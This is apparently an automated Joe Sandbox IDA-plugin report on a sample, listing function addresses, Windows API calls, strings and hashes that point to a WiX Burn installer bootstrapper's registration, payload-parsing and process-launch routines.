Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalCurrentSection$EnterLeaveLocalProcessThreadTime
String ID: %ls[%04X:%04X][%04hu-%02hu-%02huT%02hu:%02hu:%02hu]%hs%03d:%ls %ls%ls
API String ID: 296830338-59366893
Opcode ID: 3b3b4727614f9427d4811a7748ce0e6ca44c508703edfd07c79eaeb04e5138ab
Instruction ID: 4d77341abcc0b83f6ccfb9d524a64f79c5cfdee3e9356088307577328cda4ab9
Opcode Fuzzy Hash: 3b3b4727614f9427d4811a7748ce0e6ca44c508703edfd07c79eaeb04e5138ab
Instruction Fuzzy Hash: 95414F7AD00209AFCF10DFE5CC84ABEB7B5BB88312B14903AF615E6251D6348D86D760

Function 00A4851A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00A4A5BF
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A4A5D4
UnhandledExceptionFilter.KERNEL32(00A70AD0), ref: 00A4A5DF
GetCurrentProcess.KERNEL32(C0000409), ref: 00A4A5FB
TerminateProcess.KERNEL32(00000000), ref: 00A4A602

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 873b30628fbf33221293d85e40b6db5ad504576b8d222f145fedc63d1268bcf5
Instruction ID: f4f4337dce5da721148eebc535c00a16ba19303f65c505817e4b98f09e2385f2
Opcode Fuzzy Hash: 873b30628fbf33221293d85e40b6db5ad504576b8d222f145fedc63d1268bcf5
Instruction Fuzzy Hash: B92110B841A3048FD390CFA9FC49A5C3BB4BB48341F50C46AE60D97660E7B056C2CF52

Function 00A58581 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00A71FAC,?), ref: 00A585D6
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00A585E8

Strings

%04hu-%02hu-%02huT%02hu:%02hu:%02hu%c%02u:%02u, xrefs: 00A58630
%04hu-%02hu-%02huT%02hu:%02hu:%02huZ, xrefs: 00A585BF

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Time$InformationLocalSpecificSystemZone
String ID: %04hu-%02hu-%02huT%02hu:%02hu:%02hu%c%02u:%02u$%04hu-%02hu-%02huT%02hu:%02hu:%02huZ
API String ID: 1772835396-395410266
Opcode ID: 20a84f835dcb235a6d7bfc9789c55cb709d523a16df0bbf6cd0c73ffc177ee63
Instruction ID: c534ac392aa4d114715e20e43ad0604918d4b9c3e070ee2dd2bc0ee6c9246227
Opcode Fuzzy Hash: 20a84f835dcb235a6d7bfc9789c55cb709d523a16df0bbf6cd0c73ffc177ee63
Instruction Fuzzy Hash: 9421F8A6900128AADB24DB99DC05FBFB3FCFB4C702F008556B945E2080E738AA84D771

Function 00A4F996 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00000900,00000000,?,00000000,?,00000000,?,00000000,00000000,?,00A4FB57,00000000,?,00000000,?,00000001), ref: 00A4F9B5
GetLastError.KERNEL32(?,00A4FB57,00000000,?,00000000,?,00000001,?,00A2157A,00000000,00000000,00000000,?,?,00A3949F,00000002), ref: 00A4F9BF
LocalFree.KERNEL32(00000000,00000000,?,00000000,?,00A4FB57,00000000,?,00000000,?,00000001,?,00A2157A,00000000,00000000,00000000), ref: 00A4FA2A

Strings

logutil.cpp, xrefs: 00A4F9DF

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID: logutil.cpp
API String ID: 1365068426-3545173039
Opcode ID: 73188b30566d6b78834c48d0f5966f61fbf5aaf57b124bce117c921db21c4adc
Instruction ID: 5985c239ee5f026073f2ca5ed0f270e496564641f90a9670db4ecd2c74608e69
Opcode Fuzzy Hash: 73188b30566d6b78834c48d0f5966f61fbf5aaf57b124bce117c921db21c4adc
Instruction Fuzzy Hash: D2119A3A200209EEDB21CFA5DD45FAE3779FBC5751F20802AF905960A1D3318A51D720

Function 00A386D9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

Strings

Failed to copy working folder., xrefs: 00A38734
Failed create working folder., xrefs: 00A3870C
Failed to calculate working folder to ensure it exists., xrefs: 00A386F6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastPathTemp_memset
String ID: Failed create working folder.$Failed to calculate working folder to ensure it exists.$Failed to copy working folder.
API String ID: 623060366-2072961686
Opcode ID: e0b62593df3f4a755efd07cb67fe908f5e2527a4e3e21948953d9ddbf031c2f7
Instruction ID: 475e9978b71406567a1e0d599fe07ae4007411901e2a4ad7aa4abd5376e327fb
Opcode Fuzzy Hash: e0b62593df3f4a755efd07cb67fe908f5e2527a4e3e21948953d9ddbf031c2f7
Instruction Fuzzy Hash: 8C018472940318FFCF10BFA49EC6C9DB7B9EB10765B304569F90277050DE754E419691

Function 00A3EDA9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

ChangeServiceConfigW.ADVAPI32(?,000000FF,00000003,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,?,00A3EFDF,?), ref: 00A3EDC3
GetLastError.KERNEL32(?,00A3EFDF,?,00000003,?,?), ref: 00A3EDCD

Strings

Failed to set service start type., xrefs: 00A3EDFC
msuengine.cpp, xrefs: 00A3EDF2

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ChangeConfigErrorLastService
String ID: Failed to set service start type.$msuengine.cpp
API String ID: 1456623077-1628545019
Opcode ID: c91158853b6ad87a93538bb547a7fda2bb899a2da3fc85df60bb375f56dedfb4
Instruction ID: d47b5b01a0d19cdb452f15c200477cbf4f9f32688443d6969fe288026a74d21e
Opcode Fuzzy Hash: c91158853b6ad87a93538bb547a7fda2bb899a2da3fc85df60bb375f56dedfb4
Instruction Fuzzy Hash: 77F0A733394215778620A65AAC0DE5F7E69EBD1BB2B210639F538D61D0EA35884581B4

Function 00A55D81 Relevance: 4.5, APIs: 3, Instructions: 43fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A55DAC
FindFirstFileW.KERNEL32(00000000,?,00000000,?,00000000), ref: 00A55DBC
FindClose.KERNEL32(00000000), ref: 00A55DC8

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Find$CloseFileFirst_memset
String ID:
API String ID: 3141757445-0
Opcode ID: 1a733f87779ea0e139e2e08dd17cc2b001ba221aacba7e0f0773210d1ea83107
Instruction ID: 7573fc333b812a68d7d772fa877fc5fea70bb394766a7935d8848e3d08aca500
Opcode Fuzzy Hash: 1a733f87779ea0e139e2e08dd17cc2b001ba221aacba7e0f0773210d1ea83107
Instruction Fuzzy Hash: 45018677A00608AFDB10EFF89D999AEB3BCFB4431AF400165E905D7180D674AD498B50

Function 00A56B8A Relevance: 3.1, APIs: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A56B0D: RegCloseKey.ADVAPI32(00000000,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,00020019,?,?,?,00000000,?,?,?,00A56BB9,?), ref: 00A56B7B

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00A56BDD
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00A56BEE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AllocateCheckCloseInitializeMembershipToken
String ID:
API String ID: 2114926846-0
Opcode ID: 1081a284fa160a6aa61c5fb47583b0dc69d6e0fa744a8c402ff6a53a8fab08cf
Instruction ID: ccf5af29152b7e79412c48ad86a32f2a00307b271f0bb00f37062d8e7872af55
Opcode Fuzzy Hash: 1081a284fa160a6aa61c5fb47583b0dc69d6e0fa744a8c402ff6a53a8fab08cf
Instruction Fuzzy Hash: 9011FAB1900219EFDB10DFE48D85AAEB7B8FF08306F91482EA552E7151E7709A44CB51

Function 00A490B2 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00029070), ref: 00A490B7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 285411ce41421880ece9ec86c5aa0c96de87f5ae2e1e5219dd3d13ca12885bf0
Instruction ID: 8b7a7769add8951d46bd4d0e54cff4c0ded8c2a7c5624488e3c567139c317db1
Opcode Fuzzy Hash: 285411ce41421880ece9ec86c5aa0c96de87f5ae2e1e5219dd3d13ca12885bf0
Instruction Fuzzy Hash: C59002642A120C56864097F05C0D50725A0BEC862774149D0B042D8455EB504011D521

Function 00A26C87 Relevance: 82.7, APIs: 1, Strings: 46, Instructions: 444registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000,00000000,00000000,F08B8007,057CF33B,00020006,00000000), ref: 00A271DE

Strings

NoElevateOnModify, xrefs: 00A2710F
Failed to register the bundle dependency key., xrefs: 00A2719F
BundleCachePath, xrefs: 00A26D2B, 00A26D30
Contact, xrefs: 00A26FDF, 00A26FE4
HelpLink, xrefs: 00A26EFE, 00A26F03
ParentKeyName, xrefs: 00A26F99, 00A26F9E
BundleVersion, xrefs: 00A26DDF, 00A26DE4
"%ls" %ls, xrefs: 00A270A6
Failed to write software tags., xrefs: 00A270DD
DisplayIcon, xrefs: 00A26E65, 00A26E6F
"%ls" /uninstall /quiet, xrefs: 00A2706F
Failed to create registration key., xrefs: 00A26D0B
Comments, xrefs: 00A26FBC, 00A26FC1
engine.cpp, xrefs: 00A26E9D
BundleProviderKey, xrefs: 00A26E05, 00A26E0A
BundlePatchCode, xrefs: 00A26DA0, 00A26DA8
NoRemove, xrefs: 00A2702F, 00A27034
%hs, xrefs: 00A26E42
NoModify, xrefs: 00A27006, 00A2700D
Failed to write update registration., xrefs: 00A27132
DisplayName, xrefs: 00A26E9E, 00A26EA3
URLUpdateInfo, xrefs: 00A26F5E, 00A26F63
EngineVersion, xrefs: 00A26E47, 00A26E4C
Failed to write %ls value., xrefs: 00A2717D
/modify, xrefs: 00A27091
EstimatedSize, xrefs: 00A27168, 00A2716D, 00A2717C
BundleTag, xrefs: 00A26E25, 00A26E2A
"%ls" /modify, xrefs: 00A270F8
BundleAddonCode, xrefs: 00A26D64, 00A26D6C
ModifyPath, xrefs: 00A270F3, 00A270FD
HelpTelephone, xrefs: 00A26F1E, 00A26F23
%hu.%hu.%hu.%hu, xrefs: 00A26DDA
Publisher, xrefs: 00A26EDE, 00A26EE3
/uninstall, xrefs: 00A27098, 00A2709D
%s,0, xrefs: 00A26E6A
Failed to update resume mode., xrefs: 00A271B9
QuietUninstallString, xrefs: 00A2706A, 00A27074
ParentDisplayName, xrefs: 00A26F7E, 00A26F83
Failed to cache bundle from path: %ls, xrefs: 00A26CDE
BundleDetectCode, xrefs: 00A26D82, 00A26D8A
3.7.3813.0, xrefs: 00A26E3D
UninstallString, xrefs: 00A270A1, 00A270AB
DisplayVersion, xrefs: 00A26EBE, 00A26EC3
BundleUpgradeCode, xrefs: 00A26D46, 00A26D4E
SystemComponent, xrefs: 00A2704F, 00A27054
URLInfoAbout, xrefs: 00A26F3E, 00A26F43

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Close
String ID: /uninstall$"%ls" %ls$"%ls" /modify$"%ls" /uninstall /quiet$%hs$%hu.%hu.%hu.%hu$%s,0$/modify$3.7.3813.0$BundleAddonCode$BundleCachePath$BundleDetectCode$BundlePatchCode$BundleProviderKey$BundleTag$BundleUpgradeCode$BundleVersion$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EngineVersion$EstimatedSize$Failed to cache bundle from path: %ls$Failed to create registration key.$Failed to register the bundle dependency key.$Failed to update resume mode.$Failed to write %ls value.$Failed to write software tags.$Failed to write update registration.$HelpLink$HelpTelephone$ModifyPath$NoElevateOnModify$NoModify$NoRemove$ParentDisplayName$ParentKeyName$Publisher$QuietUninstallString$SystemComponent$URLInfoAbout$URLUpdateInfo$UninstallString$engine.cpp
API String ID: 3535843008-522455924
Opcode ID: 9f2b722b6c6782a5c4d62c6049e1ab39db001bcc8b49eca90021dc730ec64b25
Instruction ID: b970c325a440ba996ec237a577238c0dcf388ea25a34fe8cc26fdd4ab6055876
Opcode Fuzzy Hash: 9f2b722b6c6782a5c4d62c6049e1ab39db001bcc8b49eca90021dc730ec64b25
Instruction Fuzzy Hash: A1E1F530704722BBDB216EADDE81F5F7AE9BF58345F100538BD0592262DBB0EE68D610

Function 00A3A474 Relevance: 79.1, APIs: 7, Strings: 38, Instructions: 365COMMON

Download Yara Rule

Strings

AsyncInstall, xrefs: 00A3A58B
Failed to get @Protocol., xrefs: 00A3A5F9
ExitCode, xrefs: 00A3A65F
Failed to get next node., xrefs: 00A3A8B2
Failed to parse @Code value: %ls, xrefs: 00A3A8D2
Failed to get @Type., xrefs: 00A3A8B9
DetectCondition, xrefs: 00A3A498
forceReboot, xrefs: 00A3A78F
Invalid exit code type: %ls, xrefs: 00A3A893
none, xrefs: 00A3A5D0
Failed to get @DetectCondition., xrefs: 00A3A4A9
Failed to get @Code., xrefs: 00A3A8C0
exeengine.cpp, xrefs: 00A3A6C1
Failed to select exit code nodes., xrefs: 00A3A672
error, xrefs: 00A3A751
Protocol, xrefs: 00A3A547
RepairArguments, xrefs: 00A3A4FE
Failed to get @UninstallArguments., xrefs: 00A3A4ED
Failed to get @Repairable., xrefs: 00A3A539
scheduleReboot, xrefs: 00A3A76F
Repairable, xrefs: 00A3A520
success, xrefs: 00A3A731
Failed to allocate memory for exit code structs., xrefs: 00A3A6CB
Failed to get @AsyncRepair., xrefs: 00A3A625
netfx4, xrefs: 00A3A5B1
burn, xrefs: 00A3A566
Code, xrefs: 00A3A7B4
Failed to get @AsyncUninstall., xrefs: 00A3A651
Failed to get @AsyncInstall., xrefs: 00A3A5A6
Failed to convert @Code value: %ls, xrefs: 00A3A8A2
AsyncUninstall, xrefs: 00A3A636
AsyncRepair, xrefs: 00A3A60A
Type, xrefs: 00A3A716
Failed to get @RepairArguments., xrefs: 00A3A50F
Failed to get exit code node count., xrefs: 00A3A68F
UninstallArguments, xrefs: 00A3A4DC
InstallArguments, xrefs: 00A3A4BA
Failed to get @InstallArguments., xrefs: 00A3A4CB

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: AsyncInstall$AsyncRepair$AsyncUninstall$Code$DetectCondition$ExitCode$Failed to allocate memory for exit code structs.$Failed to convert @Code value: %ls$Failed to get @AsyncInstall.$Failed to get @AsyncRepair.$Failed to get @AsyncUninstall.$Failed to get @Code.$Failed to get @DetectCondition.$Failed to get @InstallArguments.$Failed to get @Protocol.$Failed to get @RepairArguments.$Failed to get @Repairable.$Failed to get @Type.$Failed to get @UninstallArguments.$Failed to get exit code node count.$Failed to get next node.$Failed to parse @Code value: %ls$Failed to select exit code nodes.$InstallArguments$Invalid exit code type: %ls$Protocol$RepairArguments$Repairable$Type$UninstallArguments$burn$error$exeengine.cpp$forceReboot$netfx4$none$scheduleReboot$success
API String ID: 760788290-4137368201
Opcode ID: d0ebd74d22b7d8e0be1367177f039728964ad2c15bfcf194214ef939e73e7259
Instruction ID: 9ffef938a9e4ca9dc82ffe1cc5dec34fb1563d18f18021735577f2ddf6b552b8
Opcode Fuzzy Hash: d0ebd74d22b7d8e0be1367177f039728964ad2c15bfcf194214ef939e73e7259
Instruction Fuzzy Hash: 12C1CF72E80235FFDB119B64CC86FAFBBB8BB20710F104521F955AB291D7709D019B92

Function 00A24D79 Relevance: 75.6, APIs: 3, Strings: 40, Instructions: 363COMMON

Download Yara Rule

APIs

Part of subcall function 00A55A7C: VariantInit.OLEAUT32(?), ref: 00A55A92
Part of subcall function 00A55A7C: SysAllocString.OLEAUT32(?), ref: 00A55AAE
Part of subcall function 00A55A7C: VariantClear.OLEAUT32(?), ref: 00A55B35
Part of subcall function 00A55A7C: SysFreeString.OLEAUT32(00000000), ref: 00A55B40

CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,download,000000FF,00000001,Packaging,00000000,00000001,FilePath,?,00000001,00A5CBE0,?,00000000), ref: 00A24EA5
CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,embedded,000000FF), ref: 00A24EC5
CompareStringW.KERNEL32(0000007F,00000000,00000000,000000FF,external,000000FF), ref: 00A24EE3

Strings

Failed to get @FilePath., xrefs: 00A25107
Invalid value for @Packaging: %ls, xrefs: 00A250EC
Failed to hex decode the Payload/@Hash., xrefs: 00A25175
Failed to allocate memory for payload structs., xrefs: 00A24DF8
SourcePath, xrefs: 00A24F5C
FilePath, xrefs: 00A24E5D
Failed to get @DownloadUrl., xrefs: 00A2513D
Failed to get @Packaging., xrefs: 00A2510E
FileSize, xrefs: 00A24FA6
Failed to get next node., xrefs: 00A250F3
X, xrefs: 00A250CF
CertificateRootThumbprint, xrefs: 00A25016
Failed to get @LayoutOnly., xrefs: 00A2512F
Failed to find catalog., xrefs: 00A25183
Hash, xrefs: 00A2504F
Failed to hex decode @CertificateRootPublicKeyIdentifier., xrefs: 00A25159
Failed to hex decode @CertificateRootThumbprint., xrefs: 00A25167
external, xrefs: 00A24ED5
embedded, xrefs: 00A24EB7
Failed to get @Hash., xrefs: 00A2516E
Failed to to find container: %ls, xrefs: 00A2511F
download, xrefs: 00A24E97
payload.cpp, xrefs: 00A24DEE
Packaging, xrefs: 00A24E78
CertificateRootPublicKeyIdentifier, xrefs: 00A24FDD
Catalog, xrefs: 00A25084
Failed to parse @FileSize., xrefs: 00A2514B
Failed to get @CertificateRootThumbprint., xrefs: 00A25160
DownloadUrl, xrefs: 00A24F81
Failed to get @FileSize., xrefs: 00A25144
LayoutOnly, xrefs: 00A24F3D
Failed to get @CertificateRootPublicKeyIdentifier., xrefs: 00A25152
Failed to get @Id., xrefs: 00A250FD
Failed to select payload nodes., xrefs: 00A24DA6
Container, xrefs: 00A24EFF
Failed to get payload node count., xrefs: 00A24DC0
Failed to get @SourcePath., xrefs: 00A25136
Failed to get @Container., xrefs: 00A25115
Payload, xrefs: 00A24D87
Failed to get @Catalog., xrefs: 00A2517C

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: String$Compare$Variant$AllocClearFreeInit
String ID: Catalog$CertificateRootPublicKeyIdentifier$CertificateRootThumbprint$Container$DownloadUrl$Failed to allocate memory for payload structs.$Failed to find catalog.$Failed to get @Catalog.$Failed to get @CertificateRootPublicKeyIdentifier.$Failed to get @CertificateRootThumbprint.$Failed to get @Container.$Failed to get @DownloadUrl.$Failed to get @FilePath.$Failed to get @FileSize.$Failed to get @Hash.$Failed to get @Id.$Failed to get @LayoutOnly.$Failed to get @Packaging.$Failed to get @SourcePath.$Failed to get next node.$Failed to get payload node count.$Failed to hex decode @CertificateRootPublicKeyIdentifier.$Failed to hex decode @CertificateRootThumbprint.$Failed to hex decode the Payload/@Hash.$Failed to parse @FileSize.$Failed to select payload nodes.$Failed to to find container: %ls$FilePath$FileSize$Hash$Invalid value for @Packaging: %ls$LayoutOnly$Packaging$Payload$SourcePath$X$download$embedded$external$payload.cpp
API String ID: 937563602-2914604125
Opcode ID: c8a8b4bf492588538bb8372850fcf1726a2bdddb5e21f7ce3bf378d5185694ba
Instruction ID: ce10a72cbf24bc28ad06f5ef69fb467c534386eabb6d3d925bdaf09f3ef02f8f
Opcode Fuzzy Hash: c8a8b4bf492588538bb8372850fcf1726a2bdddb5e21f7ce3bf378d5185694ba
Instruction Fuzzy Hash: 47C1E232D40A35BBDB21ABA8DE45EADBAB4BF14B21F110771FD00B7190D770AD259790

Function 00A3A8D9 Relevance: 67.0, APIs: 11, Strings: 27, Instructions: 461COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A3A92E
_memset.LIBCMT ref: 00A3A967
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,00A43DF8), ref: 00A3AF5C
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,00A43DF8), ref: 00A3AF72

Strings

Failed to format obfuscated argument string., xrefs: 00A3AAB5
Process returned error: 0x%x, xrefs: 00A3AE66
Failed to run bundle as embedded from path: %ls, xrefs: 00A3AC86
Failed to create obfuscated executable command., xrefs: 00A3AB21
Bootstrapper application aborted during EXE progress., xrefs: 00A3AE94
%ls -%ls=%ls, xrefs: 00A3AB3E, 00A3AB59, 00A3AB91, 00A3ABC1, 00A3ABEC
Failed to append the list of dependencies to ignore to the obfuscated command line., xrefs: 00A3ABA1
Failed to wait for executable to complete: %ls, xrefs: 00A3AEA9
burn.ancestors, xrefs: 00A3ABB0, 00A3ABE1
exeengine.cpp, xrefs: 00A3ADAA, 00A3AE56, 00A3AE8A
Failed to get bundle element., xrefs: 00A3AB47
Failed to append the list of ancestors to the obfuscated command line., xrefs: 00A3ABFC
Failed to run bundle asynchronously from path: %ls, xrefs: 00A3ACCD
Failed to get action arguments for executable package., xrefs: 00A3AA08
2, xrefs: 00A3ADF9
Failed to build executable path., xrefs: 00A3A9E3
"%ls" %s, xrefs: 00A3AA78, 00A3AAD1
burn.ignoredependencies, xrefs: 00A3AB48, 00A3AB86
"%ls", xrefs: 00A3AAED, 00A3AB0D
Failed to create executable command., xrefs: 00A3AA8C
Failed to append the list of dependencies to ignore to the command line., xrefs: 00A3AB69
Failed to get cached path for package: %ls, xrefs: 00A3A9AD
Failed to CreateProcess on path: %ls, xrefs: 00A3ADBA
D, xrefs: 00A3AD6B
Failed to append the list of ancestors to the command line., xrefs: 00A3ABD1
Failed to run netfx chainer: %ls, xrefs: 00A3AD1B
Failed to format argument string., xrefs: 00A3AA5F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle_memset
